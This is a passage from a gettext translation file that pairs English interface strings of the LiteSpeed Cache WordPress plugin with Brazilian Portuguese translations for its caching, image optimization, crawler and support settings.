msgstr "Banco de dados"

#: src/admin-display.cls.php:257 tpl/dash/dashboard.tpl.php:204
#: tpl/dash/network_dash.tpl.php:37 tpl/general/online.tpl.php:83
#: tpl/general/online.tpl.php:133 tpl/general/online.tpl.php:148
msgid "Page Optimization"
msgstr "Otimização de página"

#: src/admin-display.cls.php:250 tpl/dash/entry.tpl.php:16
msgid "Dashboard"
msgstr "Painel"

#: src/db-optm.cls.php:291
msgid "Converted to InnoDB successfully."
msgstr "Convertido para InnoDB."

#: src/purge.cls.php:328
msgid "Cleaned all Gravatar files."
msgstr "Todos os arquivos do Gravatar foram limpos."

#: src/purge.cls.php:311
msgid "Cleaned all LQIP files."
msgstr "Todos os arquivos LQIP foram limpos."

#: src/error.cls.php:239
msgid "Unknown error"
msgstr "Erro desconhecido"

#: src/error.cls.php:228
msgid "Your domain has been forbidden from using our services due to a previous policy violation."
msgstr "Seu domínio foi proibido de usar nossos serviços devido a uma violação de política anterior."

#: src/error.cls.php:223
msgid "The callback validation to your domain failed. Please make sure there is no firewall blocking our servers. Response code: "
msgstr "A validação de retorno de chamada para seu domínio falhou. Certifique-se de que não haja nenhum firewall bloqueando nossos servidores. Código de resposta: "

#: src/error.cls.php:218
msgid "The callback validation to your domain failed. Please make sure there is no firewall blocking our servers."
msgstr "A validação de retorno de chamada para seu domínio falhou. Certifique-se de que não haja nenhum firewall bloqueando nossos servidores."

#: src/error.cls.php:214
msgid "The callback validation to your domain failed due to hash mismatch."
msgstr "A validação de retorno de chamada para seu domínio falhou, devido a uma incompatibilidade de hash."

#: src/error.cls.php:210
msgid "Your application is waiting for approval."
msgstr "Sua aplicação está aguardando aprovação."

#: src/error.cls.php:204
msgid "Previous request too recent. Please try again after %s."
msgstr "Solicitação anterior muito recente. Tente novamente após %s."

#: src/error.cls.php:199
msgid "Previous request too recent. Please try again later."
msgstr "Solicitação anterior muito recente. Tente novamente mais tarde."

#: src/error.cls.php:195
msgid "Crawler disabled by the server admin."
msgstr "O rastreador foi desativado pelo administrador do servidor."

#: src/error.cls.php:191
msgid "Failed to create table %1$s! SQL: %2$s."
msgstr "Falha ao criar a tabela %1$s! SQL: %2$s."

#: src/error.cls.php:167
msgid "Could not find %1$s in %2$s."
msgstr "Não foi possível encontrar %1$s em %2$s."

#: src/error.cls.php:155
msgid "Credits are not enough to proceed the current request."
msgstr "Os créditos não são suficientes para prosseguir com a solicitação atual."

#: src/error.cls.php:124
msgid "There is proceeding queue not pulled yet."
msgstr "Há uma fila de processamento que ainda não foi concluída."

#: src/error.cls.php:116
msgid "The image list is empty."
msgstr "A lista de imagens está vazia."

#: src/task.cls.php:233
msgid "LiteSpeed Crawler Cron"
msgstr "Cron do rastreador LiteSpeed"

#: src/task.cls.php:214
msgid "Every Minute"
msgstr "A cada minuto"

#: tpl/general/settings.tpl.php:119
msgid "Turn this option ON to show latest news automatically, including hotfixes, new releases, available beta versions, and promotions."
msgstr "ATIVAR esta opção para mostrar automaticamente as últimas notícias, incluindo correções urgentes, novos lançamentos, versões beta disponíveis e promoções."

#: tpl/toolbox/report.tpl.php:105
msgid "To grant wp-admin access to the LiteSpeed Support Team, please generate a passwordless link for the current logged-in user to be sent with the report."
msgstr "Para conceder acesso wp-admin à equipe de suporte LiteSpeed, gere um link sem senha para o usuário conectado atualmente ser enviado com o relatório."

#. translators: %s: Link tags
#: tpl/toolbox/report.tpl.php:112
msgid "Generated links may be managed under %sSettings%s."
msgstr "Os links gerados podem ser gerenciados em %sConfigurações%s."

#: tpl/toolbox/report.tpl.php:107
msgid "Please do NOT share the above passwordless link with anyone."
msgstr "NÃO compartilhe o link sem senha acima com ninguém."

#: tpl/toolbox/report.tpl.php:48
msgid "To generate a passwordless link for LiteSpeed Support Team access, you must install %s."
msgstr "Para gerar um link sem senha para acesso à equipe de suporte do LiteSpeed, você deve instalar %s."

#: tpl/banner/cloud_news.tpl.php:30 tpl/banner/cloud_news.tpl.php:41
msgid "Install"
msgstr "Instalar"

#: tpl/cache/settings-esi.tpl.php:46
msgid "These options are only available with LiteSpeed Enterprise Web Server or QUIC.cloud CDN."
msgstr "Essas opções estão disponíveis apenas com o LiteSpeed Enterprise Web Server ou o CDN QUIC.cloud."

#: tpl/banner/score.php:74 tpl/dash/dashboard.tpl.php:455
msgid "PageSpeed Score"
msgstr "Pontuação do PageSpeed"

#: tpl/banner/score.php:62 tpl/banner/score.php:96
#: tpl/dash/dashboard.tpl.php:410 tpl/dash/dashboard.tpl.php:486
msgid "Improved by"
msgstr "Melhorado por"

#: tpl/banner/score.php:53 tpl/banner/score.php:87
#: tpl/dash/dashboard.tpl.php:402 tpl/dash/dashboard.tpl.php:478
msgid "After"
msgstr "Depois"

#: tpl/banner/score.php:45 tpl/banner/score.php:79
#: tpl/dash/dashboard.tpl.php:394 tpl/dash/dashboard.tpl.php:470
msgid "Before"
msgstr "Antes"

#: tpl/banner/score.php:40 tpl/dash/dashboard.tpl.php:374
msgid "Page Load Time"
msgstr "Tempo de carregamento da página"

#: tpl/inc/check_cache_disabled.php:20
msgid "To use the caching functions you must have a LiteSpeed web server or be using QUIC.cloud CDN."
msgstr "Para usar as funções de cache, você deve ter um servidor web LiteSpeed ou estar usando o CDN do QUIC.cloud."

#: src/lang.cls.php:212
msgid "Preserve EXIF/XMP data"
msgstr "Preservar dados EXIF/XMP"

#: tpl/toolbox/beta_test.tpl.php:35
msgid "Try GitHub Version"
msgstr "Experimentar a versão do GitHub"

#: tpl/cdn/other.tpl.php:112
msgid "If you turn any of the above settings OFF, please remove the related file types from the %s box."
msgstr "Se você DESATIVAR qualquer uma das configurações acima, remova os tipos de arquivo relacionados da caixa %s."

#: src/doc.cls.php:123
msgid "Both full and partial strings can be used."
msgstr "Podem ser usadas strings completas e parciais."

#: tpl/page_optm/settings_media_exc.tpl.php:60
msgid "Images containing these class names will not be lazy loaded."
msgstr "Imagens que contenham esses nomes de classes não serão carregadas tardiamente."

#: src/lang.cls.php:185
msgid "Lazy Load Image Class Name Excludes"
msgstr "Exclusões de nome de classe de imagem para carregamento tardio"

#: tpl/cache/settings-cache.tpl.php:139 tpl/cache/settings-cache.tpl.php:164
msgid "For example, %1$s defines a TTL of %2$s seconds for %3$s."
msgstr "Por exemplo, %1$s define um TTL de %2$s segundos para %3$s."

#: tpl/cache/settings-cache.tpl.php:136 tpl/cache/settings-cache.tpl.php:161
msgid "To define a custom TTL for a URI, add a space followed by the TTL value to the end of the URI."
msgstr "Para definir um TTL personalizado para um URI, adicione um espaço seguido pelo valor TTL ao final do URI."

#: tpl/banner/new_version.php:93
msgid "Maybe Later"
msgstr "Talvez mais tarde"

#: tpl/banner/new_version.php:87
msgid "Turn On Auto Upgrade"
msgstr "Ativar atualização automática"

#: tpl/banner/new_version.php:77 tpl/banner/new_version_dev.tpl.php:41
#: tpl/toolbox/beta_test.tpl.php:87
msgid "Upgrade"
msgstr "Atualizar"

#: tpl/banner/new_version.php:66
msgid "New release %s is available now."
msgstr "Nova versão %s está disponível agora."

#: tpl/banner/new_version.php:58
msgid "New Version Available!"
msgstr "Nova versão disponível!"

#: tpl/banner/score.php:121
msgid "Created with ❤️ by LiteSpeed team."
msgstr "Criado com ❤️ pela equipe LiteSpeed."

#: tpl/banner/score.php:112
msgid "Sure I'd love to review!"
msgstr "Claro, adoraria fazer uma avaliação!"

#: tpl/banner/score.php:36
msgid "Thank You for Using the LiteSpeed Cache Plugin!"
msgstr "Obrigado por usar o plugin LiteSpeed Cache!"

#: src/activation.cls.php:572
msgid "Upgraded successfully."
msgstr "Atualizado."

#: src/activation.cls.php:563 src/activation.cls.php:568
msgid "Failed to upgrade."
msgstr "Falha ao atualizar."

#: src/conf.cls.php:683
msgid "Changed setting successfully."
msgstr "Configuração alterada."

#: tpl/cache/settings-esi.tpl.php:37
msgid "ESI sample for developers"
msgstr "Exemplo de ESI para desenvolvedores"

#: tpl/cache/settings-esi.tpl.php:29
msgid "Replace %1$s with %2$s."
msgstr "Substitua %1$s por %2$s."

#: tpl/cache/settings-esi.tpl.php:26
msgid "You can turn shortcodes into ESI blocks."
msgstr "Você pode transformar shortcodes em blocos ESI."

#: tpl/cache/settings-esi.tpl.php:22
msgid "WpW: Private Cache vs. Public Cache"
msgstr "WpW: cache privado vs. cache público"

#: tpl/page_optm/settings_html.tpl.php:132
msgid "Append query string %s to the resources to bypass this action."
msgstr "Anexar a string de consulta %s aos recursos para ignorar esta ação."

#: tpl/page_optm/settings_html.tpl.php:127
msgid "Google reCAPTCHA will be bypassed automatically."
msgstr "O Google reCAPTCHA será automaticamente ignorado."

#: tpl/crawler/settings.tpl.php:172
msgid "To crawl for a particular cookie, enter the cookie name, and the values you wish to crawl for. Values should be one per line. There will be one crawler created per cookie value, per simulated role."
msgstr "Para rastrear um cookie específico, digite o nome do cookie e os valores pelos quais deseja rastrear. Os valores devem ser digitados um por linha. Será criado um rastreador para cada valor de cookie, por função simulada."

#: src/admin-display.cls.php:446 tpl/crawler/settings.tpl.php:179
msgid "Cookie Values"
msgstr "Valores de cookies"

#: src/admin-display.cls.php:445
msgid "Cookie Name"
msgstr "Nome do cookie"

#: src/lang.cls.php:253
msgid "Cookie Simulation"
msgstr "Simulação de cookie"

#: tpl/page_optm/settings_html.tpl.php:146
msgid "Use Web Font Loader library to load Google Fonts asynchronously while leaving other CSS intact."
msgstr "Use a biblioteca de carregamento de fontes da web para carregar Google Fonts de forma assíncrona, mantendo o restante do CSS intacto."

#: tpl/general/settings_inc.auto_upgrade.tpl.php:25
msgid "Turn this option ON to have LiteSpeed Cache updated automatically, whenever a new version is released. If OFF, update manually as usual."
msgstr "Deixe esta opção como ATIVADO para que o LiteSpeed Cache seja atualizado automaticamente sempre que uma nova versão for lançada. Se estiver DESATIVADO, atualize manualmente como de costume."

#: src/lang.cls.php:99
msgid "Automatically Upgrade"
msgstr "Atualização automática"

#: tpl/toolbox/settings-debug.tpl.php:98
msgid "Your IP"
msgstr "Seu IP"

#: src/import.cls.php:156
msgid "Reset successfully."
msgstr "Redefinição concluída."

#: tpl/toolbox/import_export.tpl.php:67
msgid "This will reset all settings to default settings."
msgstr "Isso irá redefinir todas as configurações para as configurações padrão."

#: tpl/toolbox/import_export.tpl.php:63
msgid "Reset All Settings"
msgstr "Redefinir todas as configurações"

#: tpl/page_optm/settings_tuning_css.tpl.php:128
msgid "Separate critical CSS files will be generated for paths containing these strings."
msgstr "Arquivos CSS críticos separados serão gerados para os caminhos que contém essas strings."

#: src/lang.cls.php:169
msgid "Separate CCSS Cache URIs"
msgstr "Separar URIs de cache do CCSS"

#: tpl/page_optm/settings_tuning_css.tpl.php:114
msgid "For example, if every Page on the site has different formatting, enter %s in the box. Separate critical CSS files will be stored for every Page on the site."
msgstr "Por exemplo, se cada página no site tiver uma formatação diferente, digite %s na caixa. Arquivos CSS críticos separados serão armazenados para cada página no site."

#: tpl/page_optm/settings_tuning_css.tpl.php:113
msgid "List post types where each item of that type should have its own CCSS generated."
msgstr "Liste os tipos de post nos quais cada item desse tipo deve ter seu próprio CCSS gerado."

#: src/lang.cls.php:168
msgid "Separate CCSS Cache Post Types"
msgstr "Separar tipos de post para o cache do CCSS"

#: tpl/page_optm/settings_media.tpl.php:200
msgid "Size list in queue waiting for cron"
msgstr "Lista de tamanho na fila aguardando o cron"

#: tpl/page_optm/settings_media.tpl.php:175
msgid "If set to %1$s, before the placeholder is localized, the %2$s configuration will be used."
msgstr "Se definido como %1$s, antes que o marcador de posição seja localizado, a configuração %2$s será usada."

#: tpl/page_optm/settings_media.tpl.php:172
msgid "Automatically generate LQIP in the background via a cron-based queue."
msgstr "Gerar automaticamente LQIP em segundo plano através de uma fila baseada em cron."

#: tpl/page_optm/settings_media.tpl.php:77
msgid "This will generate the placeholder with same dimensions as the image if it has the width and height attributes."
msgstr "Isso gerará o marcador de posição com as mesmas dimensões da imagem se ela tiver os atributos de largura e altura."

#: tpl/page_optm/settings_media.tpl.php:76
msgid "Responsive image placeholders can help to reduce layout reshuffle when images are loaded."
msgstr "Marcadores de posição de imagens responsivas podem ajudar a reduzir a reorganização do layout quando as imagens são carregadas."

#: src/lang.cls.php:192
msgid "Responsive Placeholder"
msgstr "Marcador de posição responsivo"

#: tpl/toolbox/purge.tpl.php:101
msgid "This will delete all generated image LQIP placeholder files"
msgstr "Isso irá excluir todos os arquivos de marcador de posição de imagem LQIP gerados"

#: tpl/inc/check_cache_disabled.php:31
msgid "Please enable LiteSpeed Cache in the plugin settings."
msgstr "Ative o LiteSpeed Cache nas configurações do plugin."

#: tpl/inc/check_cache_disabled.php:25
msgid "Please enable the LSCache Module at the server level, or ask your hosting provider."
msgstr "Ative o módulo LSCache no nível do servidor ou consulte seu provedor de hospedagem."

#: src/cloud.cls.php:1435 src/cloud.cls.php:1458
msgid "Failed to request via WordPress"
msgstr "Falha ao solicitar através do WordPress"

#. Description of the plugin
#: litespeed-cache.php
msgid "High-performance page caching and site optimization from LiteSpeed"
msgstr "Cache de página de alto desempenho e otimização de site da LiteSpeed"

#: src/img-optm.cls.php:2099
msgid "Reset the optimized data successfully."
msgstr "Dados otimizados redefinidos."

#: src/gui.cls.php:893
msgid "Update %s now"
msgstr "Atualizar %s agora"

#: src/gui.cls.php:890
msgid "View %1$s version %2$s details"
msgstr "Ver detalhes da versão %2$s do %1$s"

#: src/gui.cls.php:888
msgid "<a href=\"%1$s\" %2$s>View version %3$s details</a> or <a href=\"%4$s\" %5$s target=\"_blank\">update now</a>."
msgstr "<a href=\"%1$s\" %2$s>Ver detalhes da versão %3$s</a> ou <a href=\"%4$s\" %5$s target=\"_blank\">atualizar agora</a>."

#: src/gui.cls.php:868
msgid "Install %s"
msgstr "Instalar %s"

#: tpl/inc/check_cache_disabled.php:40
msgid "LSCache caching functions on this page are currently unavailable!"
msgstr "As funções de cache do LSCache nesta página estão atualmente indisponíveis!"

#: src/cloud.cls.php:1589
msgid "%1$s plugin version %2$s required for this action."
msgstr "A versão %2$s do plugin %1$s é necessária para esta ação."

#: src/cloud.cls.php:1518
msgid "We are working hard to improve your online service experience. The service will be unavailable while we work. We apologize for any inconvenience."
msgstr "Estamos trabalhando intensamente para melhorar sua experiência de serviço on-line. O serviço estará indisponível durante nosso trabalho. Pedimos desculpas por qualquer inconveniente."

#: tpl/img_optm/settings.tpl.php:60
msgid "Automatically remove the original image backups after fetching optimized images."
msgstr "Remover automaticamente os backups das imagens originais após buscar as imagens otimizadas."

#: src/lang.cls.php:208
msgid "Remove Original Backups"
msgstr "Remover backups originais"

#: tpl/img_optm/settings.tpl.php:34
msgid "Automatically request optimization via cron job."
msgstr "Solicitar otimização automática por meio de tarefa cron."

#: tpl/img_optm/summary.tpl.php:188
msgid "A backup of each image is saved before it is optimized."
msgstr "É feito um backup de cada imagem antes de ser otimizada."

#: src/img-optm.cls.php:1892
msgid "Switched images successfully."
msgstr "Imagens alteradas."

#: tpl/img_optm/settings.tpl.php:81
msgid "This can improve quality but may result in larger images than lossy compression will."
msgstr "Isso pode melhorar a qualidade, mas pode resultar em imagens maiores do que a compactação com perda de qualidade."

#: tpl/img_optm/settings.tpl.php:80
msgid "Optimize images using lossless compression."
msgstr "Otimizar imagens usando compactação sem perda de qualidade."

#: src/lang.cls.php:210
msgid "Optimize Losslessly"
msgstr "Otimizar sem perda de qualidade"

#: tpl/img_optm/settings.media_webp.tpl.php:25
msgid "Request WebP/AVIF versions of original images when doing optimization."
msgstr "Solicitar versões WebP/AVIF das imagens originais ao realizar a otimização."

#: tpl/img_optm/settings.tpl.php:47
msgid "Optimize images and save backups of the originals in the same folder."
msgstr "Otimizar imagens e salvar backups das originais na mesma pasta."

#: src/lang.cls.php:207
msgid "Optimize Original Images"
msgstr "Otimizar imagens originais"

#: tpl/page_optm/settings_css.tpl.php:220
msgid "When this option is turned %s, it will also load Google Fonts asynchronously."
msgstr "Quando esta opção é ativada %s, ela também carregará o Google Fonts de forma assíncrona."

#: src/purge.cls.php:254
msgid "Cleaned all Critical CSS files."
msgstr "Todos os arquivos CSS críticos foram limpos."

#: tpl/page_optm/settings_css.tpl.php:327
msgid "This will inline the asynchronous CSS library to avoid render blocking."
msgstr "Isso irá embutir a biblioteca CSS assíncrona, para evitar o bloqueio de renderização."

#: src/lang.cls.php:153
msgid "Inline CSS Async Lib"
msgstr "Biblioteca assíncrona de CSS embutido"

#: tpl/page_optm/settings_localization.tpl.php:72
#: tpl/page_optm/settings_media.tpl.php:218
msgid "Run Queue Manually"
msgstr "Executar fila manualmente"

#: tpl/page_optm/settings_css.tpl.php:117
#: tpl/page_optm/settings_css.tpl.php:254 tpl/page_optm/settings_vpi.tpl.php:65
msgid "URL list in %s queue waiting for cron"
msgstr "Lista de URLs na fila %s aguardando o cron"

#: tpl/page_optm/settings_css.tpl.php:105
#: tpl/page_optm/settings_css.tpl.php:242
msgid "Last requested cost"
msgstr "Custo da última solicitação."

#: tpl/page_optm/settings_css.tpl.php:102
#: tpl/page_optm/settings_css.tpl.php:239
#: tpl/page_optm/settings_media.tpl.php:188
#: tpl/page_optm/settings_vpi.tpl.php:53
msgid "Last generated"
msgstr "Última gerada"

#: tpl/page_optm/settings_media.tpl.php:180
msgid "If set to %s this is done in the foreground, which may slow down page load."
msgstr "Se definido como %s, isso é feito em primeiro plano, o que pode retardar o carregamento da página."

#: tpl/page_optm/settings_css.tpl.php:219
msgid "Automatic generation of critical CSS is in the background via a cron-based queue."
msgstr "A geração automática de CSS crítico é realizada em segundo plano por meio de uma fila baseada em cron."

#: tpl/page_optm/settings_css.tpl.php:215
msgid "Optimize CSS delivery."
msgstr "Otimizar a entrega de CSS."

#: tpl/toolbox/purge.tpl.php:74
msgid "This will delete all generated critical CSS files"
msgstr "Isso irá excluir todos os arquivos de CSS crítico gerados"

#: tpl/dash/dashboard.tpl.php:623 tpl/toolbox/purge.tpl.php:73
msgid "Critical CSS"
msgstr "CSS crítico"

#: src/doc.cls.php:65
msgid "This site utilizes caching in order to facilitate a faster response time and better user experience. Caching potentially stores a duplicate copy of every web page that is on display on this site. All cache files are temporary, and are never accessed by any third party, except as necessary to obtain technical support from the cache plugin vendor. Cache files expire on a schedule set by the site administrator, but may easily be purged by the admin before their natural expiration, if necessary. We may use QUIC.cloud services to process & cache your data temporarily."
msgstr "Este site utiliza o cache para facilitar um tempo de resposta mais rápido e uma melhor experiência do usuário. O cache potencialmente armazena uma cópia duplicada de cada página da web exibida neste site. Todos os arquivos de cache são temporários e nunca são acessados por terceiros, exceto conforme necessário para obter suporte técnico do fornecedor do plugin de cache. Os arquivos de cache expiram conforme programado pelo administrador do site, mas podem ser facilmente eliminados pelo administrador antes da expiração natural, se necessário. Podemos usar os serviços QUIC.cloud para processar e armazenar em cache temporariamente os seus dados."

#: tpl/toolbox/heartbeat.tpl.php:28
msgid "Disabling this may cause WordPress tasks triggered by AJAX to stop working."
msgstr "Desativar isso pode fazer com que as tarefas do WordPress acionadas por AJAX parem de funcionar."

#: src/utility.cls.php:228
msgid "right now"
msgstr "neste instante"

#: src/utility.cls.php:228
msgid "just now"
msgstr "recentemente"

#: tpl/img_optm/summary.tpl.php:259
msgid "Saved"
msgstr "Salvo"

#: tpl/img_optm/summary.tpl.php:253
#: tpl/page_optm/settings_localization.tpl.php:61
msgid "Last ran"
msgstr "Última execução"

#: tpl/img_optm/settings.tpl.php:66 tpl/img_optm/summary.tpl.php:245
msgid "You will be unable to Revert Optimization once the backups are deleted!"
msgstr "Você não poderá reverter a otimização uma vez que os backups forem excluídos!"

#: tpl/img_optm/settings.tpl.php:65 tpl/img_optm/summary.tpl.php:244
#: tpl/page_optm/settings_media.tpl.php:308
msgid "This is irreversible."
msgstr "Isso é irreversível."

#: tpl/img_optm/summary.tpl.php:265
msgid "Remove Original Image Backups"
msgstr "Remover backups de imagens originais"

#: tpl/img_optm/summary.tpl.php:264
msgid "Are you sure you want to remove all image backups?"
msgstr "Tem certeza de que deseja remover todos os backups de imagens?"

#: tpl/crawler/blacklist.tpl.php:32 tpl/img_optm/summary.tpl.php:201
msgid "Total"
msgstr "Total"

#: tpl/img_optm/summary.tpl.php:198 tpl/img_optm/summary.tpl.php:256
msgid "Files"
msgstr "Arquivos"

#: tpl/img_optm/summary.tpl.php:194
msgid "Last calculated"
msgstr "Último cálculo"

#: tpl/img_optm/summary.tpl.php:208
msgid "Calculate Original Image Storage"
msgstr "Calcular o armazenamento de imagem original"

#: tpl/img_optm/summary.tpl.php:184
msgid "Storage Optimization"
msgstr "Otimização de armazenamento"

#: tpl/img_optm/settings.tpl.php:165
msgid "Enable replacement of WebP/AVIF in %s elements that were generated outside of WordPress logic."
msgstr "Ativar a substituição de WebP/AVIF em elementos %s que foram gerados fora da lógica do WordPress."

#: tpl/cdn/other.tpl.php:141 tpl/img_optm/settings.tpl.php:151
msgid "Use the format %1$s or %2$s (element is optional)."
msgstr "Use o formato %1$s ou %2$s (o elemento é opcional)."

#: tpl/cdn/other.tpl.php:137 tpl/img_optm/settings.tpl.php:150
msgid "Only attributes listed here will be replaced."
msgstr "Apenas os atributos listados aqui serão substituídos."

#: tpl/img_optm/settings.tpl.php:149
msgid "Specify which element attributes will be replaced with WebP/AVIF."
msgstr "Especificar quais atributos de elementos serão substituídos por WebP/AVIF."

#: src/lang.cls.php:213
msgid "WebP/AVIF Attribute To Replace"
msgstr "Atributo WebP/AVIF a ser substituído"

#: tpl/cdn/other.tpl.php:196
msgid "Only files within these directories will be pointed to the CDN."
msgstr "Apenas arquivos dentro destes diretórios serão apontados para o CDN."

#: src/lang.cls.php:244
msgid "Included Directories"
msgstr "Diretórios incluídos"

#: tpl/cache/settings-purge.tpl.php:152
msgid "A Purge All will be executed when WordPress runs these hooks."
msgstr "Um \"Limpar tudo\" será executado quando o WordPress executar esses ganchos."

#: src/lang.cls.php:221
msgid "Purge All Hooks"
msgstr "Limpar todos os ganchos"

#: src/purge.cls.php:213
msgid "Purged all caches successfully."
msgstr "Todos os caches foram limpos."

#: src/gui.cls.php:562 src/gui.cls.php:691 src/gui.cls.php:744
msgid "LSCache"
msgstr "LSCache"

#: src/gui.cls.php:506
msgid "Forced cacheable"
msgstr "Armazenamento em cache forçado"

#: tpl/cache/settings-cache.tpl.php:133
msgid "Paths containing these strings will be cached regardless of no-cacheable settings."
msgstr "Caminhos de URI contendo essas strings serão armazenadas em cache independentemente das configurações de não armazenamento em cache."

#: src/lang.cls.php:130
msgid "Force Cache URIs"
msgstr "Forçar cache de URIs"

#: tpl/cache/network_settings-excludes.tpl.php:17
#: tpl/cache/settings-excludes.tpl.php:15
msgid "Exclude Settings"
msgstr "Configurações de exclusão"

#: tpl/toolbox/settings-debug.tpl.php:69
msgid "This will disable LSCache and all optimization features for debug purpose."
msgstr "Isso desativará o LSCache e todos os recursos de otimização para fins de depuração."

#: src/lang.cls.php:256
msgid "Disable All Features"
msgstr "Desativar todos os recursos"

#: src/gui.cls.php:599 src/gui.cls.php:781 tpl/toolbox/purge.tpl.php:64
msgid "Opcode Cache"
msgstr "Cache de Opcode"

#: src/gui.cls.php:570 src/gui.cls.php:752 tpl/toolbox/purge.tpl.php:47
msgid "CSS/JS Cache"
msgstr "Cache de CSS/JS"

#: src/gui.cls.php:849 tpl/img_optm/summary.tpl.php:176
msgid "Remove all previous unfinished image optimization requests."
msgstr "Remover todas as solicitações anteriores de otimização de imagem não concluídas."

#: src/gui.cls.php:850 tpl/img_optm/summary.tpl.php:178
msgid "Clean Up Unfinished Data"
msgstr "Limpar dados não concluídos"

#: tpl/banner/slack.php:40
msgid "Join Us on Slack"
msgstr "Junte-se a nós no Slack"

#. translators: %s: Link to LiteSpeed Slack community
#: tpl/banner/slack.php:28
msgid "Join the %s community."
msgstr "Junte-se à comunidade %s."

#: tpl/banner/slack.php:24
msgid "Want to connect with other LiteSpeed users?"
msgstr "Deseja se conectar com outros usuários do LiteSpeed?"

#: tpl/cdn/cf.tpl.php:38
msgid "Your API key / token is used to access %s APIs."
msgstr "Sua chave de API / token é usada para acessar APIs de %s."

#: tpl/cdn/cf.tpl.php:47
msgid "Your Email address on %s."
msgstr "Seu endereço de e-mail em %s."

#: tpl/cdn/cf.tpl.php:31
msgid "Use %s API functionality."
msgstr "Usar a funcionalidade da API %s."

#: tpl/cdn/other.tpl.php:80
msgid "To randomize CDN hostname, define multiple hostnames for the same resources."
msgstr "Para randomizar o nome do host do CDN, defina vários nomes de host para os mesmos recursos."

#: tpl/inc/admin_footer.php:23
msgid "Join LiteSpeed Slack community"
msgstr "Junte-se à comunidade do LiteSpeed no Slack"

#: tpl/inc/admin_footer.php:21
msgid "Visit LSCWP support forum"
msgstr "Visite o fórum de suporte do LSCWP"

#: src/lang.cls.php:27 tpl/dash/dashboard.tpl.php:560
msgid "Images notified to pull"
msgstr "Imagens notificadas a serem recuperadas"

#: tpl/img_optm/summary.tpl.php:291
msgid "What is a group?"
msgstr "O que é um grupo?"

#: src/admin-display.cls.php:1573
msgid "%s image"
msgstr "%s imagem"

#: src/admin-display.cls.php:1570
msgid "%s group"
msgstr "%s grupo"

#: src/admin-display.cls.php:1561
msgid "%s images"
msgstr "%s imagens"

#: src/admin-display.cls.php:1558
msgid "%s groups"
msgstr "%s grupos"

#: src/crawler.cls.php:1236
msgid "Guest"
msgstr "Visitante"

#: tpl/crawler/settings.tpl.php:109
msgid "To crawl the site as a logged-in user, enter the user ids to be simulated."
msgstr "Para rastrear o site como um usuário conectado, digite os IDs de usuário a serem simulados."

#: src/lang.cls.php:252
msgid "Role Simulation"
msgstr "Simulação de função"

#: tpl/crawler/summary.tpl.php:232
msgid "running"
msgstr "executando"

#: tpl/db_optm/manage.tpl.php:187
msgid "Size"
msgstr "Tamanho"

#: tpl/crawler/summary.tpl.php:123 tpl/dash/dashboard.tpl.php:103
#: tpl/dash/dashboard.tpl.php:822
msgid "Ended reason"
msgstr "Motivo do término"

#: tpl/crawler/summary.tpl.php:116 tpl/dash/dashboard.tpl.php:97
#: tpl/dash/dashboard.tpl.php:816
msgid "Last interval"
msgstr "Último intervalo"

#: tpl/crawler/summary.tpl.php:104 tpl/dash/dashboard.tpl.php:91
#: tpl/dash/dashboard.tpl.php:810
msgid "Current crawler started at"
msgstr "O rastreador atual iniciou em"

#: tpl/crawler/summary.tpl.php:97
msgid "Run time for previous crawler"
msgstr "Tempo de execução do rastreador anterior"

#: tpl/crawler/summary.tpl.php:91 tpl/crawler/summary.tpl.php:98
msgid "%d seconds"
msgstr "%d segundos"

#: tpl/crawler/summary.tpl.php:90
msgid "Last complete run time for all crawlers"
msgstr "Tempo da última execução completa de todos os rastreadores"

#: tpl/crawler/summary.tpl.php:77
msgid "Current sitemap crawl started at"
msgstr "O rastreamento atual do sitemap começou em"

#. translators: %1$s: Object Cache Admin title, %2$s: OFF status
#: tpl/cache/settings_inc.object.tpl.php:278
msgid "Save transients in database when %1$s is %2$s."
msgstr "Salvar transientes no banco de dados quando %1$s está %2$s."

#: src/lang.cls.php:124
msgid "Store Transients"
msgstr "Armazenar transientes"

#. translators: %1$s: Cache Mobile label, %2$s: ON status, %3$s: List of Mobile
#. User Agents label
#: tpl/cache/settings_inc.cache_mobile.tpl.php:89
msgid "If %1$s is %2$s, then %3$s must be populated!"
msgstr "Se %1$s for %2$s, então %3$s deve ser preenchido!"

#: tpl/crawler/settings.tpl.php:89
msgid "Server allowed max value: %s"
msgstr "Valor máximo permitido pelo servidor: %s"

#: tpl/crawler/settings.tpl.php:79
msgid "Server enforced value: %s"
msgstr "Valor imposto pelo servidor: %s"

#: tpl/cache/more_settings_tip.tpl.php:22
#: tpl/cache/settings-excludes.tpl.php:71
#: tpl/cache/settings-excludes.tpl.php:104 tpl/cdn/other.tpl.php:79
#: tpl/crawler/settings.tpl.php:76 tpl/crawler/settings.tpl.php:86
msgid "NOTE"
msgstr "OBSERVAÇÃO"

#. translators: %s: list of server variables in <code> tags
#: src/admin-display.cls.php:1517
msgid "Server variable(s) %s available to override this setting."
msgstr "Variável(is) de servidor %s disponível(eis) para substituir esta configuração."

#: src/admin-display.cls.php:1514 tpl/cache/settings-esi.tpl.php:103
#: tpl/page_optm/settings_css.tpl.php:87 tpl/page_optm/settings_css.tpl.php:223
#: tpl/page_optm/settings_html.tpl.php:131
#: tpl/page_optm/settings_media.tpl.php:258
#: tpl/page_optm/settings_media_exc.tpl.php:36
#: tpl/page_optm/settings_tuning.tpl.php:48
#: tpl/page_optm/settings_tuning.tpl.php:68
#: tpl/page_optm/settings_tuning.tpl.php:89
#: tpl/page_optm/settings_tuning.tpl.php:110
#: tpl/page_optm/settings_tuning.tpl.php:129
#: tpl/page_optm/settings_tuning_css.tpl.php:35
#: tpl/page_optm/settings_tuning_css.tpl.php:96
#: tpl/page_optm/settings_tuning_css.tpl.php:99
#: tpl/page_optm/settings_tuning_css.tpl.php:100
#: tpl/toolbox/edit_htaccess.tpl.php:61 tpl/toolbox/edit_htaccess.tpl.php:79
msgid "API"
msgstr "API"

#: src/purge.cls.php:432
msgid "Reset the entire OPcache successfully."
msgstr "Todo o cache OPcache foi redefinido."

#: src/import.cls.php:134
msgid "Imported setting file %s successfully."
msgstr "Arquivo de configuração %s importado."

#: src/import.cls.php:81
msgid "Import failed due to file error."
msgstr "A importação falhou devido a um erro no arquivo."

#: tpl/page_optm/settings_css.tpl.php:61 tpl/page_optm/settings_js.tpl.php:48
msgid "How to Fix Problems Caused by CSS/JS Optimization."
msgstr "Como corrigir problemas causados pela otimização de CSS/JS."

#: tpl/cache/settings-advanced.tpl.php:76
msgid "This will generate extra requests to the server, which will increase server load."
msgstr "Isso irá gerar solicitações adicionais ao servidor, o que aumentará a carga do servidor."

#: tpl/cache/settings-advanced.tpl.php:71
msgid "When a visitor hovers over a page link, preload that page. This will speed up the visit to that link."
